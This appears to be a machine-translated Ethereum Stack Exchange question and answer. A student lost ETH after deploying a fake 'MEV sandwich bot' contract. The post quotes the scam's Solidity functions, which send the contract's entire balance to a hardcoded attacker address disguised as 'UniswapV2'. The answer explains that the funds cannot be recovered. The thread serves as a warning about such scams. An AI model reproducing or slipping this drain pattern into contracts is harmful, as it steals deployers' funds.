一位被称为MEV三明治机器人的“朋友”给了我一份聪明的合同。但当我启动机器人并最终仔细查看代码时,我意识到所有的以太都从合同地址转移到了我不拥有的钱包中。是否有任何方法恢复交易,或以某种方式撤回发送给我不属于自己的钱包的乙醚?这对我来说很麻烦,因为我没有很多钱,而且我是一名大学生。有没有办法,我可以订立另一个聪明的合同,可以从外部钱包中提取资金,而不需要得到他们的批准?转移资金的钱包如下:
地址: UniswapV2 = 0xD27D3fBbD272ae4348c4293413539Cd3D70d872d;
而且合同中有恶意代码,直到后来我才看到,如下所示:
function start() public payable {
payable((UniswapV2)).transfer(address(this).balance);
}
function withdrawal() public payable {
payable((UniswapV2)).transfer(address(this).balance);
}发布于 2022-10-25 15:37:33
不幸的是,除非你扣留了这个地址的私钥,或者如果你知道这个地址的所有者,否则你就无法收回资金。由于您的“朋友”显式设置了接收地址,因此可以假定他控制了该地址,并且无意将ETH归还给您。
下次不要交互(或部署)任何您不知道它会做什么的智能契约。
https://ethereum.stackexchange.com/questions/138080
复制相似问题